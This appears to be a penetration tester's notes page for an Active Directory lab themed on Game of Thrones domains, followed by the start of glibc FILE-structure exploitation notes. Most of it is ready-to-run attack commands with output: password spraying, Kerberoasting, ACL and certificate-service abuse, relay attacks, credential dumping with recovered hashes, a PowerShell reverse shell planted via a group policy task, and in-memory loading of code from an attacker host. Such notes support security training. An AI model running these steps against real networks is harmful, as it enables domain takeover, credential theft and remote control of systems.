[-] User rickon.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User hodor doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jon.snow doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User samwell.tarly doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jeor.mormont doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sql_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
$ hashcat -h | grep -i as-rep
18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
$ hashcat -m 18200 brandon.stark.asrep.hash /usr/share/wordlists/rockyou.txt
Password Spraying
Spray for accounts whose password is the same as the username
$ nxc smb 10.10.10.11 -u north_users.txt -p north_users.txt --no-bruteforce --continue-on-success
SMB 10.10.10.11 445 WINTERFELL [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 10.10.10.11 445 WINTERFELL [-] north.sevenkingdoms.local\Administrator:Administrator STATUS_LOGON_FAILURE
SMB 10.10.10.11 445 WINTERFELL [-] north.sevenkingdoms.local\krbtgt:krbtgt STATUS_LOGON_FAILURE
SMB 10.10.10.11 445 WINTERFELL [-] north.sevenkingdoms.local\arya.stark:arya.stark STATUS_LOGON_FAILURE
SMB 10.10.10.11 445 WINTERFELL [-] north.sevenkingdoms.local\eddard.stark:eddard.stark STATUS_LOGON_FAILURE
SMB 10.10.10.11 445 WINTERFELL [-] north.sevenkingdoms.local\catelyn.stark:catelyn.stark STATUS_LOGON_FAILURE
SMB 10.10.10.11 445 WINTERFELL [-] north.sevenkingdoms.local\robb.stark:robb.stark STATUS_LOGON_FAILURE
SMB 10.10.10.11 445 WINTERFELL [-] north.sevenkingdoms.local\sansa.stark:sansa.stark STATUS_LOGON_FAILURE
SMB 10.10.10.11 445 WINTERFELL [-] north.sevenkingdoms.local\brandon.stark:brandon.stark STATUS_LOGON_FAILURE
SMB 10.10.10.11 445 WINTERFELL [-] north.sevenkingdoms.local\rickon.stark:rickon.stark STATUS_LOGON_FAILURE
SMB 10.10.10.11 445 WINTERFELL [+] north.sevenkingdoms.local\hodor:hodor
SMB 10.10.10.11 445 WINTERFELL [-] north.sevenkingdoms.local\jon.snow:jon.snow STATUS_LOGON_FAILURE
SMB 10.10.10.11 445 WINTERFELL [-] north.sevenkingdoms.local\samwell.tarly:samwell.tarly STATUS_LOGON_FAILURE
SMB 10.10.10.11 445 WINTERFELL [-] north.sevenkingdoms.local\jeor.mormont:jeor.mormont STATUS_LOGON_FAILURE
SMB 10.10.10.11 445 WINTERFELL [-] north.sevenkingdoms.local\sql_svc:sql_svc STATUS_LOGON_FAILURE
Users Enumeration (Authenticated)
Impacket
$ GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Querying north.sevenkingdoms.local for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Administrator 2024-01-09 17:07:16.678154 2024-01-09 18:07:02.533281
Guest <never> <never>
vagrant 2024-01-09 13:25:06.835919 2024-01-09 18:35:26.103058
krbtgt 2024-01-09 17:24:15.284257 <never>
2024-01-09 17:34:17.918667 <never>
arya.stark 2024-01-09 17:43:40.414804 2024-01-10 09:53:55.608288
eddard.stark 2024-01-09 17:43:47.777170 2024-01-10 10:25:10.683311
catelyn.stark 2024-01-09 17:43:54.636543 <never>
robb.stark 2024-01-09 17:44:01.270374 2024-01-10 10:27:22.925009
sansa.stark 2024-01-09 17:44:07.239856 <never>
brandon.stark 2024-01-09 17:44:11.552905 2024-01-10 10:28:15.741418
rickon.stark 2024-01-09 17:44:17.006005 <never>
hodor 2024-01-09 17:44:22.131007 <never>
jon.snow 2024-01-09 17:44:26.850581 <never>
samwell.tarly 2024-01-09 17:44:32.116183 2024-01-10 10:24:54.723185
jeor.mormont 2024-01-09 17:44:36.892611 <never>
sql_svc 2024-01-09 17:44:40.892597 2024-01-09 18:26:58.563838
LDAP
ldapsearch -H ldap://10.10.10.11 -D 'hodor@north.sevenkingdoms.local' -w 'hodor' -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep 'distinguished' | awk -F "CN=" '{print $2}' | cut -d ',' -f1
ldapsearch -H ldap://10.10.10.10 -D 'hodor@north.sevenkingdoms.local' -w 'hodor' -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep 'distinguished' | awk -F "CN=" '{print $2}' | cut -d ',' -f1
Using ldeep
ldeep ldap -u hodor -p hodor -d north.sevenkingdoms.local -s ldap://10.10.10.11 all north
ldeep ldap -u hodor -p hodor -d north.sevenkingdoms.local -s ldap://10.10.10.10 all sevenkingdoms
ldeep ldap -u hodor -p hodor -d north.sevenkingdoms.local -s ldap://10.10.10.12 all essos
Kerberoasting
GetUserSPNs.py -request -dc-ip 10.10.10.11 north.sevenkingdoms.local/hodor:hodor
hashcat krb.hashes /usr/share/wordlists/rockyou.txt
Share Enumeration (Authenticated)
nxc smb 10.10.10.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares
Bloodhound
C:\Users\jon.snow> .\SharpHound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip
C:\Users\jon.snow> .\SharpHound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip
C:\Users\jon.snow> .\SharpHound.exe -d essos.local -c all --zipfilename bh_essos.zip
ACL
bloodhound-python -u hodor@north.sevenkingdoms.local -p hodor -c all --zip --dns-tcp -ns 10.10.10.11 -d sevenkingdoms.local
bloodhound-python -u hodor@north.sevenkingdoms.local -p hodor -c all --zip --dns-tcp -ns 10.10.10.11 -d north.sevenkingdoms.local
bloodhound-python -u hodor@north.sevenkingdoms.local -p hodor -c all --zip --dns-tcp -ns 10.10.10.11 -d essos.local
-
when using kerberos authentication always remember to use FQDN
# fails KRB5CCNAME=./tyron.lannister.ccache ldeep ldap -u tyron.lannister -k -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=tyron.lannister)' # success KRB5CCNAME=./tyron.lannister.ccache ldeep ldap -u tyron.lannister -k -d sevenkingdoms.local -s ldap://kingslanding.sevenkingdoms.local search '(sAMAccountName=tyron.lannister)'
-
certipy shadow credentials does not work with kerberos auth (?)
GenericWrite on User
-
Target Kerberoasting
git clone https://github.com/ShutdownRepo/targetedKerberoast targetedKerberoast.py -v -d sevenkingdoms.local -u jaime.lannister -p jaime --request-user joffrey.baratheon --dc-ip 10.10.10.10
-
Shadow Credentials
certipy shadow auto -u jaime.lannister@sevenkingdoms.local -p jaime -account 'joffrey.baratheon' -dc-ip 10.10.10.10
-
Logon Script
ldeep ldap -u jaime.lannister -p 'jaime' -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=joffrey.baratheon)' scriptpath
-
python script to modify
scriptPath
import ldap3 dn = "CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local" user = "sevenkingdoms.local\\jaime.lannister" password = "jaime" server = ldap3.Server('kingslanding.sevenkingdoms.local') ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM) ldap_con.bind() ldap_con.modify(dn,{'scriptPath' : [(ldap3.MODIFY_REPLACE, '\\\\10.10.10.200\share\exploit.ps1')]}) print(ldap_con.result) ldap_con.unbind()
-
python script to modify
profilePath
, then startresponder
to captureNetNTLM
authentication when the user logs inimport ldap3 dn = "CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local" user = "sevenkingdoms.local\\jaime.lannister" password = "jaime" server = ldap3.Server('kingslanding.sevenkingdoms.local') ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM) ldap_con.bind() ldap_con.modify(dn,{'profilePath' : [(ldap3.MODIFY_REPLACE, '\\\\10.10.10.200\share')]}) print(ldap_con.result) ldap_con.unbind()
-
WriteDacl
https://github.com/ThePorgs/impacket
dacledit-exegol.py -action 'read' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion' -dc-ip 10.10.10.10
dacledit-exegol.py -action 'write' -rights 'FullControl' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion' -dc-ip 10.10.10.10
dacledit-exegol.py -action 'restore' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion' -dc-ip 10.10.10.10 -file ./dacledit-20240128-210948.bak
AddSelf
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=tyron.lannister)' distinguishedName | jq '.[].dn'
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=Small Council)' distinguishedName | jq '.[].dn'
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local"'
AddMember
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=tyron.lannister)' distinguishedName | jq '.[].dn'
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=dragonstone)' distinguishedName | jq '.[].dn'
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local"
WriteOwner
-
Change ownership of a group
owneredit-exegol.py -action read -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister owneredit-exegol.py -action 'write' -new-owner 'tyron.lannister' -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister
-
As an owner of a group, we have
WriteDacl
permissions on the groupdacledit-exegol.py -action 'write' -rights 'FullControl' -principal 'tyron.lannister' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' -target 'kingsguard' 'sevenkingdoms.local'/'tyron.lannister' -dc-ip 10.10.10.10
-
do
AddSelf
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=tyron.lannister)' distinguishedName | jq '.[].dn' ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=kingsguard)' distinguishedName | jq '.[].dn' ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=KingsGuard,OU=Crownlands,DC=sevenkingdoms,DC=local"
GenericAll on User
Same as GenericWrite
GenericAll on Computer
-
Shadow Credentials to get the computer TGT and NT hash
certipy shadow auto -u stannis.baratheon@sevenkingdoms.local -hashes ':d75b9fdf23c0d9a6549cff9ed6e489cd' -account 'kingslanding$' -dc-ip 10.10.10.10
-
S4U2Self to obtain service ticket (administrator -> kingslanding$)
KRB5CCNAME=./kingslanding.ccache getST-exegol.py -self -altservice 'cifs/kingslanding.sevenkingdoms.local' -impersonate administrator -k -no-pass -dc-ip 10.10.10.10 sevenkingdoms.local/'kingslanding$'
GPO Abuse
WriteDacl
,WriteOwner
,GenericWrite
on GPO- https://github.com/Hackndo/pyGPOAbuse
# gpo id obtained from bloodhound:
# Node Info -> Node Properties -> GPO File Path (\\NORTH.SEVENKINGDOMS.LOCAL\SYSVOL\NORTH.SEVENKINGDOMS.LOCAL\POLICIES\{53136A49-0492-4A3E-A45E-5D762E4CF8FF})
python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "53136A49-0492-4A3E-A45E-5D762E4CF8FF"
python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' \
-gpo-id "53136A49-0492-4A3E-A45E-5D762E4CF8FF" \
-f \
-powershell \
-command "\$c = New-Object System.Net.Sockets.TCPClient('10.10.10.200',443);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){ \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i); \$sb = (iex \$d 2>&1 | Out-String ); \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> '); \$s.Write(\$sb,0,\$sb.Length); \$s.Flush()};\$c.Close()" \
-taskname "MyTask" -description "don't worry"
Read LAPS Password
# Although bloodhound points to 10.10.10.23 computer, the target argument is still the DC ip
nxc ldap 10.10.10.12 -u jorah.mormont -p 'H0nnor!' --module laps
ADCS
- Target running ADCS:
10.10.10.23 (braavos.essos.local)
- DC:
10.10.10.12 (meereen.essos.local)
- Attacker listening on:
10.10.10.200
Tools
-
git clone https://github.com/dirkjanm/PKINITtools virtualenv -p python3 venv # choose either one pip install https://github.com/wbond/oscrypto/archive/d5f3437ed24257895ae1edd9e503cfb352e635a8.zip pip install 'oscrypto @ git+https://github.com/wbond/oscrypto.git' pip install minikerberos impacket
ntlmrelayx + petitpotam
# To obtain the DC computer account certificate in base64 format when petitpotam is run
ntlmrelayx -t http://10.10.10.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Trigger
petitpotam.py 10.10.10.200 meereen.essos.local
# Obtain TGT
gettgtpkinit.py -dc-ip 10.10.10.12 -pfx-base64 $(cat cert.b64) 'essos.local'/'meereen$' 'meereen.ccache'
If gettgtpkinit
returns this error, most probably time issue between DCs
minikerberos.protocol.errors.KerberosError: Error Name: KDC_ERR_CLIENT_NOT_TRUSTED Detail: "The client trust failed or is not implemented"
certipy + petitpotam
# Certipy v4.8.2
# To obtain the DC computer account certificate in .pfx when petitpotam is run
certipy relay -target http://10.10.10.23/certsrv/certfnsh.asp -template DomainController
# or
certipy relay -ca ESSOS-CA -target http://10.10.10.23/certsrv/certfnsh.asp -template DomainController
petitpotam.py 10.10.10.200 meereen.essos.local
# Obtain TGT
certipy auth -pfx ./meereen.pfx -dc-ip 10.10.10.12
# or
certipy auth -pfx <(base64 -d cert.b64) -dc-ip 10.10.10.12
certipy enumeration
certipy find -u khal.drogo@essos.local -p 'horse' -dc-ip 10.10.10.12
certipy exploitation
ESC1
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos.local
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.12
ESC2
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC2 -ca ESSOS-CA
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.12
ESC3
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC3-CRA -ca ESSOS-CA
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC3 -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.12
# or
certipy auth -pfx administrator.pfx -username administrator -domain essos.local -dc-ip 10.10.10.12
ESC4
Modifies ESC4
to be ESC1
with genericWrite
privilege
certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -save-old
# same as ESC1
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC4 -ca ESSOS-CA -upn administrator@essos.local
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.12
certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -configuration ESC4.json
ESC6
Because ESSOS-CA is vulnerable to ESC6 we can do the ESC1 attack but with the user template instead of the ESC1 template even if the user template got Enrollee Supplies Subject set to false.
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -upn administrator@essos.local
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.12
Shadow Credentials
- requires
GenericWrite
on another user. - requires ADCS enabled on domain
- requires write privilege on
msDS-KeyCredentialLink
# khal.drogo ---[GenericAll]---> viserys.targaryen ---[GenericWrite]---> jorah.mormont
certipy shadow auto -u khal.drogo@essos.local -p 'horse' -account 'viserys.targaryen'
certipy shadow auto -u viserys.targaryen@essos.local -hashes 'd96a55df6bef5e0b4d6d956088036097' -account 'jorah.mormont'
Further Reading
Delegations
Lateral Movement
Credential Dumping
Remote
SAM, LSA, etc.
# jeor.mormont is local admin @ 10.10.10.22
secretsdump.py north.sevenkingdoms.local/jeor.mormont:'_L0ngCl@w_'@10.10.10.22
LSASS
lsassy
$ lsassy -d north.sevenkingdoms.local -u jeor.mormont -p '_L0ngCl@w_' 10.10.10.22
[+] 10.10.10.22 Authentication successful
[+] 10.10.10.22 Lsass dumped in C:\Windows\Temp\935V.csv (48100838 Bytes)
[+] 10.10.10.22 Lsass dump deleted
[+] 10.10.10.22 NORTH\CASTELBLACK$ [NT] 974fe3fdf3249bea19684addb0acbb22 | [SHA1] 7d7770677aadc5e5794dba80b389bcac0713455e
[+] 10.10.10.22 north.sevenkingdoms.local\CASTELBLACK$ [PWD] A+LNQ[1eREMJjuvoe;LaxSNeD4,9#o8kh;]IT\)3F%1-:KGZjQ2CN\7M%(@VnOq:As%-9.!Zz64RT=cqXmD;2cxl]"_mc\vjm?;2`VvPA\%NwAeA95Xk--[a
[+] 10.10.10.22 NORTH\robb.stark [NT] 831486ac7f26860c9e2f51ac91e1a07a | [SHA1] 3bea28f1c440eed7be7d423cefebb50322ed7b6c
[+] 10.10.10.22 NORTH\sql_svc [NT] 84a5092f53390ea48d660be52b93b804 | [SHA1] 9fd961155e28b1c6f9b3859f32f4779ad6a06404
[+] 10.10.10.22 NORTH.SEVENKINGDOMS.LOCAL\sql_svc [PWD] YouWillNotKerboroast1ngMeeeeee
[+] 10.10.10.22 NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$ [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2024-01-17 16:13 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_1a8893f6.kirbi)
[+] 10.10.10.22 NORTH.SEVENKINGDOMS.LOCAL\robb.stark [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2024-01-17 16:16 (TGT_NORTH.SEVENKINGDOMS.LOCAL_robb.stark_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_d02dac29.kirbi)
[+] 10.10.10.22 NORTH.SEVENKINGDOMS.LOCAL\robb.stark [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2024-01-17 16:16 (TGT_NORTH.SEVENKINGDOMS.LOCAL_robb.stark_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_d7206564.kirbi)
[+] 10.10.10.22 NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$ [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2024-01-17 16:13 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_ea0ce89c.kirbi)
[+] 10.10.10.22 NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$ [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2024-01-17 16:13 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_5ebf9286.kirbi)
[+] 10.10.10.22 13 Kerberos tickets written to /home/kali/.config/lsassy/tickets
[+] 10.10.10.22 7 masterkeys saved to /home/kali/.config/lsassy/masterkeys.txt
lsassy
w/ dumpert module (sort of bypass AV)
lsassy -d north.sevenkingdoms.local -u jeor.mormont -p '_L0ngCl@w_' 10.10.10.22 -m dumpertdll -O dumpertdll_path=/workspace/Outflank-Dumpert-DLL.dll
Local
SAM (Security Account Manager)
SAM
database located atC:\Windows\System32\config\SAM
andHKLM\SAM
SYSTEM
(required for decryptingSAM
) located atC:\Windows\System32\config\SYSTEM
andHKLM\SYSTEM
smbserver.py -smb2support share .
reg.py north.sevenkingdoms.local/jeor.mormont:'_L0ngCl@w_'@10.10.10.22 save -keyName 'HKLM\SAM' -o '\\10.10.10.200\share'
reg.py north.sevenkingdoms.local/jeor.mormont:'_L0ngCl@w_'@10.10.10.22 save -keyName 'HKLM\SYSTEM' -o '\\10.10.10.200\share'
secretsdump.py -sam SAM.save -system SYSTEM.save LOCAL
The NTLM hashes could be used to perform pass-the-hash to move laterally
LSA (Local Security Authority) Secrets & Cached Domain Logon
Stored at C:\Windows\System32\config\SECURITY
and HKLM\SECURITY
smbserver.py -smb2support share .
reg.py north.sevenkingdoms.local/jeor.mormont:'_L0ngCl@w_'@10.10.10.22 save -keyName 'HKLM\SECURITY' -o '\\10.10.10.200\share'
reg.py north.sevenkingdoms.local/jeor.mormont:'_L0ngCl@w_'@10.10.10.22 save -keyName 'HKLM\SYSTEM' -o '\\10.10.10.200\share'
secretsdump.py -security SECURITY.save -system SYSTEM.save LOCAL
important
The cached domain logon hash DCC2
is harder to crack and not usable for pass-the-hash
LSASSY
- by @icyguider
- create dump file of
lsass.exe
via task manager (Details
tab) through RDP (need GUI session), then transfer the.dmp
file and parse withpypykatz
Out-Minidump
fromPowerSploit
(only requires CLI session), then dump withpypykatz
Get-Process lsass | Out-Minidump
https://github.com/slyd0g/C-Sharp-Out-Minidump
C# parserhttps://github.com/icyguider/DumpNParse
- create dump file of
Mimikatz
- Invoke-Mimikatz from
nishang
- SharpKatz
- BetterSafetyKatz
Lateral Movement With Impacket
OPSEC Consideration
- https://www.synacktiv.com/publications/traces-of-windows-remote-command-execution.html
- https://neil-fox.github.io/Impacket-usage-&-detection/
- https://mayfly277.github.io/posts/GOADv2-pwning-part9/#lateral-move-with-impacket
Over Pass-The-Hash
use NTLM hash to request TGT then use TGT to get interactive session
Certificate
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos.local
Further Reading
PrivEsc
Did you know you didn't need to use a potatoes exploit to going from iis apppool account to admin or system ? Simply use:
powershell iwr http://attacker.ip -UseDefaultCredentials
To get an HTTP coerce of the machine account. https://twitter.com/M4yFly/status/1745581076846690811?t=lntNso51gwxHZFPXGnSKpg&s=08
AMSI Bypass
- https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
- https://amsi.fail/
amsi.dll
patching by rasta-mouse
winPEAS in Memory
$data=(New-Object System.Net.WebClient).DownloadData('http://10.10.10.200:8000/winPEASany_ofs.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);
[winPEAS.Program]::Main("");[Console]::SetOut($out);$sWriter.ToString()
PowerSharpPack
iex(new-object net.webclient).downloadstring('http://10.10.10.200:8000/PowerSharpPack/PowerSharpPack.ps1')
PowerSharpPack -winPEAS
KrbRelay
-
RBCD (by @an0n_r0)
-
Relay to ADCS w/ web enrollment to request a certificate of template
Machine
(by @t0-n1)# braavos is the server hosting the ADCS .\CheckPort.exe $krbrelay = .\KrbRelay.exe -spn http/braavos.essos.local -port 10 -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -endpoint certsrv -adcs 'Machine' $certificate = $krbrelay[-1] echo $certificate # The base64 encoded output is usable on `Rubeus.exe`'s `/certificate:<base64>` Invoke-Rubeus "asktgt /user:BRAAVOS$ /certificate:$certificate /nowrap"
-
Shadowcred (by @icyguider)
# meereen is the domain controller .\CheckPort.exe .\KrbRelay.exe -spn ldap/meereen.essos.local -port 10 -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred # follow the output to use Rubeus
Useful Links
- https://github.com/S3cur3Th1sSh1t/PowerSharpPack
- EncodeAssembly.ps1
- https://github.com/Dec0ne/KrbRelayUp
- https://github.com/cube0x0/KrbRelay
- https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9
Further Reading
- https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/
- https://jlajara.gitlab.io/Potatoes_Windows_Privesc
- https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/dotnet-reflective-assembly
- https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
- https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
- https://t0-n1.github.io/posts/krbrelay-with-adcs-web-enrollment/
- https://icyguider.github.io/2022/05/19/NoFix-LPE-Using-KrbRelay-With-Shadow-Credentials.html
Notes for pwn
Random links:
- https://ctflib.junron.dev/#/
- http://shell-storm.org/shellcode/index.html
- https://lwn.net/Articles/677764/
- https://toolchains.bootlin.com/
- https://blog.pepsipu.com/posts/nightmare
- https://pepsipu.com/blog/daydream-turning-stack-oob-into-universal-rce-without-ever-leaking-memory/
- https://hackmd.io/@pepsipu/SyqPbk94a
- https://zeyadazima.com/notes/osednotes/
- https://pwning.tech/nftables/
- https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html
- https://raw.githubusercontent.com/cloudburst/libheap/master/heap.png
- https://binholic.blogspot.com/2017/05/notes-on-abusing-exit-handlers.html
- https://tmpout.sh/
- https://7rocky.github.io/en/
- https://github.com/mahaloz/decomp2dbg
- https://n132.github.io/cheatsheet/
- https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit?usp=drivesdk
- https://github.com/google/google-ctf/tree/main/2023%2Fquals%2Fsandbox-v8box
- https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/
- https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc/#2---targetting-ldso-link_map-structure
File Stream Oriented Programming (FSOP)
Keywords
fsop, pwn, aaw, aar, arbitrary address write, arbitrary address read, primitivenote
Some lines of code are hidden for brevity.
When hovering over the code block, press the eye button on the top right corner to toggle the hidden lines.
Built-in File Struct
struct _IO_FILE
https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/bits/types/struct_FILE.h#L49
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
/* The following fields only exist if `_IO_USE_OLD_IO_FILE` is not defined */
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
_IO_FILE
field offsets
gef> ptype /ox struct _IO_FILE
/* offset | size */ type = struct _IO_FILE {
/* 0x0000 | 0x0004 */ int _flags;
/* XXX 4-byte hole */
/* 0x0008 | 0x0008 */ char *_IO_read_ptr;
/* 0x0010 | 0x0008 */ char *_IO_read_end;
/* 0x0018 | 0x0008 */ char *_IO_read_base;
/* 0x0020 | 0x0008 */ char *_IO_write_base;
/* 0x0028 | 0x0008 */ char *_IO_write_ptr;
/* 0x0030 | 0x0008 */ char *_IO_write_end;
/* 0x0038 | 0x0008 */ char *_IO_buf_base;
/* 0x0040 | 0x0008 */ char *_IO_buf_end;
/* 0x0048 | 0x0008 */ char *_IO_save_base;
/* 0x0050 | 0x0008 */ char *_IO_backup_base;
/* 0x0058 | 0x0008 */ char *_IO_save_end;
/* 0x0060 | 0x0008 */ struct _IO_marker *_markers;
/* 0x0068 | 0x0008 */ struct _IO_FILE *_chain;
/* 0x0070 | 0x0004 */ int _fileno;
/* 0x0074 | 0x0004 */ int _flags2;
/* 0x0078 | 0x0008 */ __off_t _old_offset;
/* 0x0080 | 0x0002 */ unsigned short _cur_column;
/* 0x0082 | 0x0001 */ signed char _vtable_offset;
/* 0x0083 | 0x0001 */ char _shortbuf[1];
/* XXX 4-byte hole */
/* 0x0088 | 0x0008 */ _IO_lock_t *_lock;
/* 0x0090 | 0x0008 */ __off64_t _offset;
